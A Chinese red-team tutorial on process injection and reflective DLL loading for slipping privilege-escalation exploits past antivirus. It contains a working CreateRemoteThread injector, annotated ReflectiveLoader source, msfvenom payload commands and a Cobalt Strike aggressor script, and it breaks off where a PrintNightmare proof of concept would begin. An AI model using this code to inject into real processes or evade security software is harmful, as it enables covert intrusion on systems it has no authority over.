CS插件之DLL反射加载EXP绕过AV提升权限
2023-1-6 10:1:41 Author: 红队蓝军(查看原文) 阅读量:20 收藏

0x0 前言

本文主要是笔者归纳一些实践经验,针对常见的AV拦截落地提权EXP进行的一些躲避尝试的记录。本文内容并不深入原理,但会尽量说明技术的基本体系和操作的核心步骤,即使你是个萌新,依然可以轻松且愉快地阅读并进行实践。

0x1 DLL注入概念

DLL注入-维基百科

DLL注入(DLL Injection)是一种计算机编程技术,它可以强行使另一个进程加载一个动态链接库(DLL)以在其地址空间内运行指定代码。常见用途是改变原先程序的行为,实现程序作者本未设计或可预期的结果。比如用于hook系统调用、读取密码框内容。

将任意代码注入任意进程的程序被称为DLL注入器。

通俗来说,DLL注入的目标对象是某一进程,然后在该进程的地址空间上注入DLL中的代码并且执行,主要是起到了动态修改程序行为的作用。合理地来说,也可用于动态拓展程序功能,即起到增强作用。

0x2 DLL注入方式

下面主要介绍两种注入反射方式,对比差异,来帮助学习。

0x2.1 常规DLL注入

常规的DLL注入方式是远程线程注入(CreateRemoteThread) 步骤如下: 1.打开目标进程句柄 2.开辟目标进程空间,用于存放需要注入的DLL文件路径 3.获取LoadLibrary的地址 4.通过CreateRemoteThread函数调用LoadLibrary,传入DLL文件路径的地址作为参数,进行远程动态调用。

技术的核心原理: 我们注入器的进程的内存空间是没办法让目标进程访问到的,而核心调用DLL的基础原理是程序执行LoadLibrary函数去加载指定的DLL,所以我们必须要在目标进程空间存放DLL的文件地址(这样目标进程才能调用到),由于kernel.dll加载的地址在所有进程都是一样的,且LoadLibrary是其导出模块,其RVA地址是固定在PE结构的,所以注入器获取到的API地址是一样,可作用于目标进程,这样我们就可以通过远程执行目标进程的新线程,然后线程执行LoadLibrary函数加载指定DLL实现DLL注入。

关于为什么系统模块加载地址会相同,可以理解为设计需要,可查阅 http://www.nynaeve.net/?p=198。

先采用VS2019 编写一个简单的DLL: hello.dll DLL_PROCESS_ATTACH状态时执行MessageBoxA:

MessageBoxW(NULL, TEXT("Hello i am hello!"), TEXT("box"), MB_OK);

当然如果你本机装有msfvenom,可以更加方便生成一个dll:

msfvenom -p windows/exec cmd=calc.exe -f dll -o calc32.dll # 生成32位dll

msfvenom -p windows/x64/exec cmd=calc.exe -f dll -o calc64.dll # 生成64位dll

整完,开始编写注入器,用到核心API函数如下:OpenProcess

HANDLE OpenProcess(
  DWORD dwDesiredAccess, //PROCESS_ALL_ACCESS 进程控制的权限
  BOOL  bInheritHandle, //false, 句柄是否可以被继承
  DWORD dwProcessId //目标进程pid,某些系统进程会出错
);

VirtualAllocEx

LPVOID VirtualAllocEx(
  HANDLE hProcess,  //目标进程句柄 PROCESS_VM_OPERATION 
  LPVOID lpAddress, //NULL,自动分配空间地址
  SIZE_T dwSize, //单位byte, 分配的空间区域大小
  DWORD  flAllocationType, //MEM_COMMIT  内存类型
  DWORD  flProtect //PAGE_READWRITE, 内存区域权限可读可写
);

WriteProcessMemory

BOOL WriteProcessMemory(
  HANDLE  hProcess, //目标进程句柄  PROCESS_VM_WRITE and PROCESS_VM_OPERATION 
  LPVOID  lpBaseAddress, //写入内容的基地址
  LPCVOID lpBuffer, //指向写入数据的指针
  SIZE_T  nSize, //写入数据的大小
  SIZE_T  *lpNumberOfBytesWritten //NULL,不记录写入字节数目
);

CreateRemoteThread

HANDLE CreateRemoteThread(
  HANDLE                 hProcess, //目标句柄
  LPSECURITY_ATTRIBUTES  lpThreadAttributes,//NULL,默认描述符
  SIZE_T                 dwStackSize, //0,使用默认栈大小
  LPTHREAD_START_ROUTINE lpStartAddress,// 指针指向远程调用函数的地址
  LPVOID                 lpParameter, //指针指向参数地址
  DWORD                  dwCreationFlags,//0,立刻执行
  LPDWORD                lpThreadId //NULL,不返回验证信息
);

GetModuleHandle

HMODULE GetModuleHandleA(
  LPCSTR lpModuleName //kernel32.dll 模块名称
);

GetProcAddress

FARPROC GetProcAddress(
  HMODULE hModule, //模块句柄
  LPCSTR  lpProcName //导出函数名称
);

下面开始编写我们的注入器,我的编程规则是先声明必须的变量,这样代码写起来有层次感。 VS2019创建个窗口程序项目DllInject:

#include <iostream>
#include <Windows.h>

using namespace std;
int main(int argc, char ** argv)
{
    // declare varibales
    HANDLE processHandle;
    LPVOID remoteAllocAddr;
    BOOL writeRet;
    HMODULE hModule;
    HANDLE hThread;
    LPTHREAD_START_ROUTINE  dwLoadAddr;
    char* dllPath;

    /*
    wchar_t tPath[] = TEXT("C:\\Users\\god\\Desktop\\test\\hello.dll");
    LoadLibraryW(tPath);
    exit(0);
    */
    if (argc < 2) {
        printf("Usage: DllInject.exe pid\n");
        exit(0);
    }
    DWORD pid = atoi(argv[1]);
    dllPath = argv[2];

    printf("[+] Target pid: %d\n", pid);
    size_t len = strlen(dllPath) + 1;
    printf("[+] Inject dll: %s len:%d\n", dllPath, len);
    //step 1
    processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if (GetLastError() == NULL) {
        printf("[+] OpenProcess success!\n");
    }
    else {
        printf("[-] OpenProcess Fail!\n");
        printf("[-] Code:%d Error : %d \n", processHandle, GetLastError());
        exit(0);
    }
    //wchar_t dllPath[] = TEXT("C:\\Users\\god\\Desktop\\test\\hello.dll");
    // step 2
    remoteAllocAddr = VirtualAllocEx(processHandle, NULL, len, MEM_COMMIT, PAGE_READWRITE);
    if (remoteAllocAddr == NULL) {
        printf("[-] VirtualAllocEx fail!\n");
        exit(0);
    }
    else {
        printf("[+] VirtualAllocEx success: %p\n", remoteAllocAddr);
    }
    // step 2
    writeRet = WriteProcessMemory(processHandle, remoteAllocAddr, (LPVOID)dllPath, len, NULL);
    if (writeRet) {
        printf("[+] WriteProcessMemory success! \n");
    }
    else {
        printf("[-] WriteProcessMemory fail! \n");
        exit(0);
    }
    // step 3
    hModule = GetModuleHandle(TEXT("kernel32.dll"));
    dwLoadAddr = (PTHREAD_START_ROUTINE)GetProcAddress(hModule, "LoadLibraryA");

    if (hModule && dwLoadAddr) {
        printf("[+] GetModuleHandle success address:%p\n", hModule);
        printf("[+] GetProcAddress success address: %p\n", dwLoadAddr);
    }
    else {
        printf("[-] step 3 fail\n");
        exit(0);
    }
    // step 4 
    hThread = CreateRemoteThread(processHandle, NULL, 0, dwLoadAddr, remoteAllocAddr, 0, NULL);
    if (hThread == NULL) {
        printf("[-] CreatRemoteTread error! \n");
    }
    else {
        printf("[+] All done!\n");
    }
    // end
    CloseHandle(processHandle);
}

代码相对而言,非常简单易懂,功能也较为丰富,命令行可自定义进程和指定DLL文件。

注入效果如下:

这里只能64位注入64位DLL,因为64位注入器如果注入32位进程则地址会不一样,导致失败。

0x2.2 DLL反射注入

反射DLL是指不依赖于系统自带的LoadLibrary函数,通过将一个完整的功能的DLL文件写入到目标进程空间,然后通过远程执行一个地址无关的ReflectiveLoader函数用于在目标进程空间内存中对DLL进行展开和修补,最终实现类LoadLibrary的功能,去调用DLLMain函数,完成DLL的加载过程。

相比于常规的DLL注入,反射注入能够躲避ProcessExplorer、Procexp64等工具的module检查,文件也无需落地,只能从内存层面来做检测,操作来说更加隐蔽,缺点就是因为使用了很多FUZZ和循环进行定位,实现代码较为复杂,代码量也比较大。

一般DLL在内存加载的流程(非权威): 1.检索DLL,文件数据映射到内存中 2.检查PE文件有效性(DOS、PE header) 3.分配PE文件中的SizeOfImage的内存大小 4.解析节区数据,根据PE中的区段对齐大小和VA偏移拷贝到内存空间中 5.实际加载到进程地址空间与PE文件中指定的基地址不一致,则需要修复重定向表。 6.修复导入表,加载DLL依赖的其他DLL 7.根据每个节区的Characteristics属性设置内存页访问属性 8.通过AddressOfEntryPoint获取到DllMain的函数地址,进行调用。

LoadLibrary的具体执行流程应该比这个会更为复杂,处理的细节也会更多,处理的步骤可能也不一样,但是程序执行的核心还是Rip执行内存的指令代码,是不断寻址的过程,只要指令和数据正确,便能正确执行。

实际DLL反射加载的流程: 下面基于一个较为出名但比较古老却仍然被CS、MSF使用活跃的项目代码进行分析。

有趣的是项目在8年前就已经不再更新,至于为什么叫反射,从结果来说,通过外部调用自身编写的ReflectLoader函数,然后实现动态加载自己,动态获取DLL的所有功能,实现完整的控制流程。

Github:ReflectiveDLLInjection

Reflective DLL injection is a library injection technique in which the concept of reflective programming is employed to perform the loading of a library from memory into a host process. As such the library is responsible for loading itself by implementing a minimal Portable Executable (PE) file loader. It can then govern, with minimal interaction with the host system and process, how it will load and interact with the host.

这里我从完整的执行流程作为时间线进行debug分析: 1)Inject项目 入口Inject.C

注入部分LoadLibraryR.c

后面就是常规的远程调用函数执行的流程:

这里我选择跟进GetReflectiveLoaderOffset前面先通过预编译判断编译的注射器和DLL的位数是不是一致的,否则return。 一致的话,就开始静态解析PE结构的导出表,

解读上图的代码,

uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;

获取到PE头的NTheader,解析导出表,获取到名称、地址、序号的数组基址


然后根据NumberOfNames导出函数数目,这里只有一个导出函数,然后数组和序号地址根据4字节偏移开始递增,将uiNameArray转换为char类型比较是否ReflectiveLoader函数,如果是则,加上序号*4+((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions作为ReflectiveLoader函数,至此完成函数的地址定位工作。

这里不用寻找也可以,调用该函数的时候,放入一个参数存放注射器分配的DLL空间,这样的话通用性会差点,因为有时候我们可能没办法直接获取到地址,只能盲写之类的。


这种能直接通过地址进行调用,而无须进行修正就能够正常运行的函数,采用了地址无关的代码实现,基本的原理实现是将指令部分需要修改的分离出来跟数据部分放在一起,保持指令部分不变,或者保持指令部分不需要改变,不去引用绝对地址。

2)reflective_dll项目

这个函数首先调用caller,其实现是[_ReturnAddress()],(https://docs.microsoft.com/zh-cn/cpp/intrinsics/returnaddress?view=msvc-160)用于返回caller的下一条指令地址(属于ReflectiveLoader进程空间的地址),

然后通过不断在内存回溯,暴力匹配DLL文件DOS头MZ来确认DLL的加载地址。

接下来需要利用PEB来获取进程加载的module模块的地址,只获取kerner.dll、ntdll.dll 这两个执行文件默认会加载的系统模块,从而使用他们的导出函数。

#ifdef WIN_X64
    uiBaseAddress = __readgsqword( 0x60 );
#else
#ifdef WIN_X86
    uiBaseAddress = __readfsdword( 0x30 );
#endif

原理可以查阅:获取kernel32.dll基址PEB枚举进程所有模块

这里为了帮助萌新理解,可以简单理解为一种介质,来获取到模块的地址,当然你也可以自己调试一个正常的进程,去查看PEB与进程模块地址的关系来验证下面的说法。

!peb
dt _PEB @$peb  
dt 0x00007ff8`b52653c0 _PEB_LDR_DATA
dt 0x00007ff8`b52653c0+0x10 _LIST_ENTRY
dt 0x00000000`007924a0 _LDR_DATA_TABLE_ENTRY

x64系统寄存器位置gs:[0x60]存放的是PEB结构的地址放入uiBaseAddress

0x0c偏移处即Ldr是一个指向PEB_LDR_DATA结构的指针,代码选择了内存顺序加载InMemoryOrderModuleList,它是一个双链表结构,成环形,链表指向的数据结构便是module加载的信息,其中包括DllBase、BaseDllName等信息,

PEB_LDR_DATA structure (winternl.h)

遍历进程模块,进行hash比较,然后下面一大段代码,while一层用于全部遍历,主要找到两个关键module,KERNEL32DLL(里面继续循环3次,找到关键函数LoadLibraryA,GetProcAddress,VirtualAlloc)和NTDLL(循环一次,找到NtFlushInstructionCache),代码实现较为简单直接粗暴,作者的注释很赞。

// compare the hash with that of kernel32.dll
        if( (DWORD)uiValueC == KERNEL32DLL_HASH )
        {
            // get this modules base address
            uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;

            // get the VA of the modules NT Header
            uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;

            // uiNameArray = the address of the modules export directory entry
            uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];

            // get the VA of the export directory
            uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );

            // get the VA for the array of name pointers
            uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );

            // get the VA for the array of name ordinals
            uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );

            usCounter = 3;

            // loop while we still have imports to find
            while( usCounter > 0 )
            {
                // compute the hash values for this function name
                dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) )  );

                // if we have found a function we want we get its virtual address
                if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH )
                {
                    // get the VA for the array of addresses
                    uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );

                    // use this functions name ordinal as an index into the array of name pointers
                    uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );

                    // store this functions VA
                    if( dwHashValue == LOADLIBRARYA_HASH )
                        pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) );
                    else if( dwHashValue == GETPROCADDRESS_HASH )
                        pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) );
                    else if( dwHashValue == VIRTUALALLOC_HASH )
                        pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) );

                    // decrement our counter
                    usCounter--;
                }

                // get the next exported function name
                uiNameArray += sizeof(DWORD);

                // get the next exported function name ordinal
                uiNameOrdinals += sizeof(WORD);
            }
        }
        else if( (DWORD)uiValueC == NTDLLDLL_HASH )
        {
            // get this modules base address
            uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;

            // get the VA of the modules NT Header
            uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;

            // uiNameArray = the address of the modules export directory entry
            uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];

            // get the VA of the export directory
            uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );

            // get the VA for the array of name pointers
            uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );

            // get the VA for the array of name ordinals
            uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );

            usCounter = 1;

            // loop while we still have imports to find
            while( usCounter > 0 )
            {
                // compute the hash values for this function name
                dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) )  );

                // if we have found a function we want we get its virtual address
                if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
                {
                    // get the VA for the array of addresses
                    uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );

                    // use this functions name ordinal as an index into the array of name pointers
                    uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );

                    // store this functions VA
                    if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
                        pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)( uiBaseAddress + DEREF_32( uiAddressArray ) );

                    // decrement our counter
                    usCounter--;
                }

                // get the next exported function name
                uiNameArray += sizeof(DWORD);

                // get the next exported function name ordinal
                uiNameOrdinals += sizeof(WORD);
            }
        }

        // we stop searching when we have found everything we need.
        if( pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache )
            break;

        // get the next entry
        uiValueA = DEREF( uiValueA );
    }

目的是最终获取到下面4个函数,用于在内存展开DLL和刷新指令。

pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache

接下来重新分配一个新的空间,大小为PE中设置的内存展开大小,直接复制PE头到新空间。

// STEP 2: load our image into a new permanent location in memory...

    // get the VA of the NT Header for the PE to be loaded
    uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;

    // allocate all the memory for the DLL to be loaded into. we can load at any address because we will  
    // relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
    // 重新分配内存镜像大小的空间
    uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );

    // PE头部大小 
    uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
    // 未展开的DLL文件地址
    uiValueB = uiLibraryAddress;
    // 需要存放展开的DLL内存镜像地址
    uiValueC = uiBaseAddress;

    while( uiValueA-- )
        // 直接复制PE头到需要展开DLL的内存空间
        *(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;

复制所有区段

// STEP 3: load in all of our sections...

    // uiValueA = the VA of the first section
    // section区域在OptionHeader之后
    uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );

    // itterate through all sections, loading them into memory.
    // 获取区段数目
    uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
    while( uiValueE-- )
    {
        // uiValueB is the VA for this section
        uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );

        // uiValueC if the VA for this sections data
        uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData );

        // copy the section over
        uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;

        while( uiValueD-- )
            *(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;

        // get the VA of the next section
        uiValueA += sizeof( IMAGE_SECTION_HEADER );
    }

解析导入表,根据PE中IAT和INT来完成地址修正。

// itterate through all imports
    while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name )
    {
        // use LoadLibraryA to load the imported module into memory
        // 利用LoadLibrary API加载进内存 返回到地址
        uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );

        // uiValueD = VA of the OriginalFirstThunk
        //INT导入表地址
        uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );

        // uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)
        // IAT导入表地址
        uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk );

        // itterate through all imported functions, importing by ordinal if no name present
        while( DEREF(uiValueA) )
        {
            // sanity check uiValueD as some compilers only import by FirstThunk
            // 根据INT序号进行导入
            if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG )
            {
                // get the VA of the modules NT Header
                uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;

                // uiNameArray = the address of the modules export directory entry
                uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];

                // get the VA of the export directory
                uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );

                // get the VA for the array of addresses
                uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );

                // use the import ordinal (- export ordinal base) as an index into the array of addresses
                uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) );

                // patch in the address for this imported function
                // 填写IAT地址
                DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) );
            }
            else
            {
                // 根据名称导入
                // get the VA of this functions import by name struct
                uiValueB = ( uiBaseAddress + DEREF(uiValueA) );

                // use GetProcAddress and patch in the address for this imported function
                // 通过pGetProcAddress 修正IAT
                DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );
            }
            // get the next imported function
            uiValueA += sizeof( ULONG_PTR );
            if( uiValueD )
                uiValueD += sizeof( ULONG_PTR );
        }

        // get the next import
        uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
    }

修正重定位表,正常来说像exe等可执行文件,32寻址可占据4g=2^2 2^10 2^10 * 2^10 64位则高达2^34g,不过实际上用户空间32位只有2g,64位为8TB。(实际物理内存跟系统支持有关,这里是虚拟空间内存),然后每个程序都可以独享一个这样的内存空间,随意分配地址。

程序编译时每个模块都有由链接器给出优先加载地址ImageBase,链接器生成的指令地址是在这个基础上的,对于EXE程序,拥有自己独立空间,不会被占用,而DLL动态链接库载入的地址可能被调用的应用程序占据,此时则需要进行重定位,DLL内部考虑这种情况,自身维护了一个重定位表。

// STEP 5: process all of our images relocations...

    // calculate the base address delta and perform relocations (even if we load at desired image base)
    // 获取到默认载入基址与真实载入地址差值
    uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;

    // uiValueB = the address of the relocation directory
    // 获取到重定位目录地址
    uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];

    // check if their are any relocations present
    if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )
    {
        // uiValueC is now the first entry (IMAGE_BASE_RELOCATION)
        // 获取重定位表地址
        uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );

        // and we itterate through all entries...
        // 区块大小
        while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock )
        {
            // uiValueA = the VA for this relocation block
            uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress );

            // uiValueB = number of entries in this relocation block
            // SizeOfBlock = IMAGE_BASE_RELOCATION + TypeOffset 从而获取到relocation block的数目
            uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC );

            // uiValueD is now the first entry in the current relocation block
            // 第一个项
            uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);

            // we itterate through all the entries in the current block...
            while( uiValueB-- )
            {
                // perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.
                // we dont use a switch statement to avoid the compiler building a jump table
                // which would not be very position independent!
                // 根据类型来进行偏移修正
                if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 )
                    *(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
                else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW )
                    *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;

                else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH )
                    *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
                else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW )
                    *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);

                // get the next entry in the current relocation block
                uiValueD += sizeof( IMAGE_RELOC );
            }

            // get the next entry in the relocation directory
            uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
        }
    }

最后则是获取DLL的入口地址,去正常执行。

// STEP 6: call our images entry point

    // uiValueA = the VA of our newly loaded DLL/EXE's entry point
    // 获取入口地址
    uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint );

    // We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing.
    // 刷新指令来应用我们重定位过后的指令
    pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 );

    // call our respective entry point, fudging our hInstance value
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
    // if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)
    ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter );
#else
    // if we are injecting an DLL via a stub we call DllMain with no parameter
    ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL );
#endif

    // STEP 8: return our new entry point address so whatever called us can call DllMain() if needed.
    return uiValueA;

默认项目里面的预处理器定义了REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR,最终就会带上参数去执行DLLMain,其实这里设计有些许冗余,stub部分其实也被兼容的了。

0x2.3 小结

DLL反射加载技术是一种内存层面的自加载技术,理解起来还是比较容易的,但是实现过程需要大量的debug,所以很感谢前人所做的努力。

相比于常规的DLL注入,DLL反射加载注入,能够有效地实现隐藏模块进而躲避AV的作用,但是同样可以观察到,只要能够对VirtualAlloc进行用户层Hook,依然可以获取到完整的DLL进行特征匹配查杀,点到这里,那么过卡巴斯基的路子不言而喻。

0x3 Cobalt Strike 反射注入插件

众所周知,Cobalt Strike的核心beacon.dll也是通过DLL反射进行加载的,身边有大佬已经对beacon.dll进行重写了,然后CS的一些扩展功能,比如键盘记录DLL,同样也是传递DLL进行反射加载调用的,也就是说Cobalt Strike本身就内置了一个类似DLL反射加载注入器的模块。

得益于CS的高度自定义,其插件功能开放了这个模块的调用:bdllspawn文档说明如下:

Spawn a Reflective DLL as a Beacon post-exploitation job.
Arguments
$1 - the id for the beacon. This may be an array or a single ID.
$2 - the local path to the Reflective DLL
$3 - a parameter to pass to the DLL
$4 - a short description of this post exploitation job (shows up in jobs output)
$5 - how long to block and wait for output (specified in milliseconds)

Note部分还介绍了这个功能会自动根据DLL的类型来派生对应的进程,需要在DLL_PROCESS_ATTACHcase处编写代码,支持传入一个char指针类型的参数,然后输入输出使用STDOUT,用fflush(stdout)进行输出,关闭进程退出则使用ExitProcess(0)

0x3.1 Demo插件编写

下载其他人的Example: Stephen Fewer's Reflective DLL Injection Project

curl https://github.com/rxwx/cs-rdll-ipc-example/archive/refs/heads/main.zip -o main.zip

用visual stdio 2019打开,替换DLLMain.cpp为如下内容:

#include <stdio.h>
#include "ReflectiveLoader.h"

extern HINSTANCE hAppInstance;

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
{
    BOOL bReturnValue = TRUE;
    switch (dwReason)
    {
    case DLL_QUERY_HMODULE:
        if (lpReserved != NULL)
            *(HMODULE*)lpReserved = hAppInstance;
    case DLL_PROCESS_ATTACH:
        hAppInstance = hinstDLL;
        /* print some output to the operator */
        if (lpReserved != NULL) {
            printf("Hello from test.dll. Parameter is '%s'\n", (char*)lpReserved);
        }
        else {
            printf("Hello from test.dll. There is no parameter\n");
        }
        MessageBoxA(NULL, "Hello from beacon.exe""Box", MB_OK);

        /* flush STDOUT */
        fflush(stdout);

        /* we're done, so let'exit */
        ExitProcess(0);
        break;
    case DLL_PROCESS_DETACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
        break;
    }
    return bReturnValue;
}

主要是注释了原来的功能,引用官方编写的更为简单直观地功能,主要是进行参数的输出,类似hellworld,选择release 64位编译DLL:

然后我们编写个简单的cna插件:

alias hello {
    bdllspawn($1, script_resource("bin/ReflectiveDll.x64.dll"), $2"test dll", 5000, false);
}

打包起来:

加载执行效果如下:

到此,我们已经能够在Cobalt Strike实现简单的DLL反射加载。

0x4 Printnightmare LPE 简析

当时选用Printnightmare作为提权,就想着了解下它的历史。 下面是自己根据收集的资料进行推断分析,担心起到误导作用,本节建议跳过不看,也欢迎师傅看过之后找我一起交流,尝试弄个1day的exp。

0X4.1 CVE-2021-1675

CVE-2021-1675-LPE 之所以能够成为我的选择,取决: 1.时效性强 2.利用简单(这个很重要) 3.全版本通杀 其中第三点 window server 从2008通杀到2009 window 从win7通杀到win10Windows Print Spooler Remote Code Execution Vulnerability这个洞本质是权限绕过,通过spoolsv.exe进程在RpcAddPrinterDriverEx接口传入第三个未在官方文档提及的flag参数0x00008000即可绕过权限验证。 函数说明: AddPrinterDriverEx function

AddPrinterDriverEx 函数安装本地或远程打印机驱动程序并链接配置、数据和驱动程序文件

漏洞利用过程,则是低权限用户可将一个恶意的DLL文件作为驱动程序被加载。

虽然现在笔者用window,但是没有配ida,这里就没有过多去验证,主要是参考别人的成果。不过有趣的是,我查阅了spoolsv.exe很多历史漏洞,其中添加驱动爆出过多次问题,虽然具体成因不太一样。printnightmare这个洞利用手法并不复杂,属于逻辑问题,难一点的层面是逆向出整个流程,有时候发现洞并不意味着你理解洞的成因。

故为了避免误人子弟,这里主要从利用角度来说明EXP的实现代码

Windows Print Spooler 服务最新漏洞 CVE-2021-34527 详细分析这篇文章展示EXP利用+调试过程,很好地说明了EXP参数的选用原因。

自写简单POC:

